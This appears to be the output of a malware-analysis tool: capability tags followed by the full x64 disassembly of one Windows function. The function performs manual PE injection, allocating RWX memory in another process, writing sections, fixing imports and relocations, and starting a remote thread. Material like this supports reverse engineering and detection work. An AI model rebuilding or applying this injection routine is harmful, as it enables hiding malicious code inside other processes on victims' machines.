Function at 0x140001250
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject pe
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
sub rsp, 0x68
movsxd r8, dword [rdx + 0x3c]
mov rbp, rdx
add r8, rdx
mov rbx, rcx
mov qword [rcx + 0x150], r8
je 0x1400018ab
movzx ecx, word [r8 + 0x14]
add rcx, 0x18
add rcx, r8
mov qword [rbx + 0x158], rcx
je 0x1400018ab
mov r8d, dword [r8 + 0x50]
xor edx, edx
mov rcx, qword [rbx + 0x188]
mov r9d, 0x2000
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea r14, [rbx + 0x1a8]
mov qword [r14], rax
test rax, rax
je 0x1400018a6
mov rdx, qword [rbx + 0x150]
mov r9d, 0x1000
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x90], rdi
mov rcx, qword [rdx + 0x30]
mov qword [rbx + 0x2f0], rcx
mov qword [rdx + 0x30], rax
mov rax, qword [rbx + 0x150]
mov rdx, qword [r14]
mov rcx, qword [rbx + 0x188]
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rax + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rax, qword [rbx + 0x150]
xor r12d, r12d
mov rdx, qword [r14]
mov r8, rbp
mov rcx, qword [rbx + 0x188]
mov qword [rsp + 0x20], r12
mov r9d, dword [rax + 0x54]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbx + 0x150]
mov esi, r12d
mov rax, qword [rbx + 0x2f0]
mov qword [rcx + 0x30], rax
mov rcx, qword [rbx + 0x150]
cmp r12w, word [rcx + 6]
jae 0x1400013ea
nop dword [rax]
nop dword [rax + rax]
mov eax, esi
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
lea rcx, [rax + rax*4]
mov rax, qword [rbx + 0x158]
lea rdi, [rcx*8]
mov rcx, qword [rbx + 0x188]
mov edx, dword [rdi + rax + 0xc]
add rdx, qword [r14]
mov r8d, dword [rdi + rax + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rax, qword [rbx + 0x158]
mov rcx, qword [rbx + 0x188]
mov qword [rsp + 0x20], r12
mov r8d, dword [rdi + rax + 0x14]
mov edx, dword [rdi + rax + 0xc]
add r8, rbp
add rdx, qword [r14]
mov r9d, dword [rdi + rax + 0x10]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbx + 0x150]
inc esi
movzx eax, word [rcx + 6]
cmp esi, eax
jb 0x140001370
mov ecx, dword [rcx + 0x94]
inc ecx
call fcn.140002870
mov qword [rbx + 0x1b0], rax
test rax, rax
je 0x1400015ec
mov ecx, 0x40
call fcn.140002870
mov qword [rbx + 0x1b8], rax
test rax, rax
je 0x1400015ec
mov rax, qword [rbx + 0x150]
mov r8, qword [rbx + 0x1b0]
mov rcx, qword [rbx + 0x188]
mov qword [rsp + 0x20], r12
mov edx, dword [rax + 0x90]
add rdx, qword [r14]
mov r9d, dword [rax + 0x94]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rbx + 0x1b0]
mov rax, qword [rbx + 0x1b8]
mov qword [rbx + 0x160], rcx
mov qword [rbx + 0x168], rax
cmp dword [rcx], r12d
je 0x1400015ec
movaps xmmword [rsp + 0x40], xmm6
nop dword [rax + rax]
mov eax, dword [rcx + 0x10]
lea r8, [rbx + 0x2f8]
mov rdx, qword [r14]
mov r9d, 8
mov qword [rbx + 0x170], rax
mov ecx, dword [rcx]
mov qword [rbx + 0x178], rcx
add rdx, rcx
mov rcx, qword [rbx + 0x188]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rbx + 0x2f8]
test rcx, rcx
je 0x1400015cf
movdqa xmm6, xmmword [0x140016470]
mov rdx, qword [r14]
mov r9d, 0x40
mov r8, qword [rbx + 0x1b8]
add rdx, rcx
mov rcx, qword [rbx + 0x188]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbx + 0x160]
lea r8, [rbx + 0x1eb]
mov rcx, qword [rbx + 0x188]
mov r9d, 0x100
mov qword [rsp + 0x20], r12
mov edx, dword [rax + 0xc]
add rdx, qword [r14]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, [rbx + 0x1eb]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbx + 0x198], rax
test rax, rax
je 0x14000157e
mov rdx, qword [rbx + 0x168]
mov rcx, rax
add rdx, 2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbx + 0x170]
lea r8, [rbx + 0x1a0]
add rdx, qword [r14]
mov r9d, 8
mov rcx, qword [rbx + 0x188]
mov qword [rbx + 0x1a0], rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movdqu xmm0, xmmword [rbx + 0x170]
mov rcx, qword [rbx + 0x188]
lea r8, [rbx + 0x2f8]
movdqa xmm1, xmm6
mov qword [rsp + 0x20], r12
paddq xmm1, xmm0
mov r9d, 8
movdqu xmmword [rbx + 0x170], xmm1
mov rdx, qword [rbx + 0x178]
add rdx, qword [r14]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rbx + 0x2f8]
test rcx, rcx
jne 0x1400014d0
add qword [rbx + 0x160], 0x14
mov rcx, qword [rbx + 0x160]
cmp dword [rcx], r12d
jne 0x140001480
movaps xmm6, xmmword [rsp + 0x40]
mov rax, qword [rbx + 0x150]
mov ecx, dword [rax + 0xb4]
inc ecx
call fcn.140002870
mov qword [rbx + 0x1c0], rax
test rax, rax
je 0x140001768
mov rcx, qword [rbx + 0x150]
mov r8, rax
mov qword [rsp + 0x20], r12
mov edx, dword [rcx + 0xb0]
mov r9d, dword [rcx + 0xb4]
add rdx, qword [r14]
mov rcx, qword [rbx + 0x188]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r8, qword [rbx + 0x1c0]
mov qword [rbx + 0x180], r8
cmp dword [r8], r12d
je 0x140001768
mov qword [rsp + 0x50], r15
nop dword [rax + rax]
mov eax, dword [r8 + 4]
mov rcx, r8
cmp eax, 8
jb 0x14000174c
sub rax, 8
lea r15, [r8 + 8]
mov edi, r12d
test rax, 0xfffffffffffffffe
jbe 0x14000174c
mov rdx, r12
nop word [rax + rax]
lea rsi, [r15 + rdx*2]
movzx edx, word [r15 + rdx*2]
test dx, dx
je 0x14000172b
mov rcx, qword [rbx + 0x188]
and edx, 0xfff
mov qword [rsp + 0x80], r12
mov r9d, 8
mov eax, dword [r8]
lea r8, [rsp + 0x80]
add rdx, rax
mov qword [rsp + 0x20], r12
add rdx, qword [r14]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r8, qword [r14]
mov r9d, 8
mov rax, qword [rbx + 0x150]
mov rcx, r8
mov qword [rsp + 0x20], r12
sub rcx, qword [rax + 0x30]
add qword [rsp + 0x80], rcx
movzx ecx, word [rsi]
mov rax, qword [rbx + 0x180]
and ecx, 0xfff
mov edx, dword [rax]
lea rax, [r8 + rcx]
mov rcx, qword [rbx + 0x188]
lea r8, [rsp + 0x80]
add rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbx + 0x180]
inc edi
mov edx, edi
mov r8, rcx
mov eax, dword [rcx + 4]
sub rax, 8
shr rax, 1
cmp rdx, rax
jb 0x140001690
mov r8d, dword [rcx + 4]
add r8, rcx
mov qword [rbx + 0x180], r8
cmp dword [r8], r12d
jne 0x140001660
mov r15, qword [rsp + 0x50]
mov rcx, qword [rbx + 0x188]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, qword [rsp + 0x88]
mov qword [rbx + 0x1c8], rax
test rax, rax
je 0x140001899
mov rcx, qword [rbx + 0x150]
lea r8, [rbx + 0x1d0]
mov r9d, 0x1b
mov qword [rsp + 0x20], r12
mov edx, dword [rcx + 0x28]
add rdx, qword [r14]
mov rcx, qword [rbx + 0x188]
mov qword [rbx + 0x300], rdx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbx + 0x1c8]
mov r9d, 8
mov rcx, qword [rbx + 0x188]
add rdx, 0x1b
mov r8, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbx + 0x1c8]
lea r8, [rbx + 0x300]
mov rcx, qword [rbx + 0x188]
add rdx, 0x11
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [rbx + 0x1c8]
xor r8d, r8d
mov rcx, qword [rbx + 0x188]
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbx + 0x190], rax
test rax, rax
je 0x140001899
mov edx, 0x2710
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140001899
mov rdx, qword [rbx + 0x1c8]
mov r9d, 0x8000
mov rcx, qword [rbx + 0x188]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx + 0x190]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x90]
mov r12, qword [rsp + 0x60]
mov r14, qword [rsp + 0x58]
add rsp, 0x68
pop rbp
pop rbx
ret